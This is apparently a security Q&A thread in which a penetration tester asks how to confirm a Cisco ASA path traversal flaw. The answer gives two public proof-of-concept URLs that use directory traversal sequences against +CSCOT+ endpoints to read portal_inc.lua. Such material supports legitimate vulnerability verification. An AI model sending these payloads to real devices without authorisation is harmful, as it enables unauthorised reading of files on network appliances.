0

I have used Nessus to determine that a client's Cisco ASA is vulnerable to a Read-Only Path Traversal Vulnerability. So far I have tried viewing the logon portal page source code, nmap -sV -A <host>, the nmap script http-cisco-anyconnect and ssh -vvv -p port <host> with no luck at obtaining any information about the device, its OS, or patch status.

The advisory from Cisco states:

The vulnerability is due to a lack of proper input validation of URLs in HTTP requests processed by an affected device. An attacker could exploit this vulnerability by sending a crafted HTTP request containing directory traversal character sequences to an affected device.

This work is part of an external penetration test, and I do not have access to the device from their internal network.

Can anyone provide any additional techniques to obtain device information or describe how I may construct a HTTP request with path traversal characters in order to confirm this device is vulnerable?

1
  • Doesn't Nessus provide that info? It usually provides proof or ways to replicate the finding.
    – schroeder
    Commented Jul 30, 2021 at 18:09

1 Answer 1

0

There are publicly posted Proof of Concept URLs that can be used to test for this vulnerability:

https://<domain>/+CSCOT+/translation-table?type=mst&textdomain=/%2bCSCOE%2b/portal_inc.lua&default-language&lang=../

and

https://<domain>/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .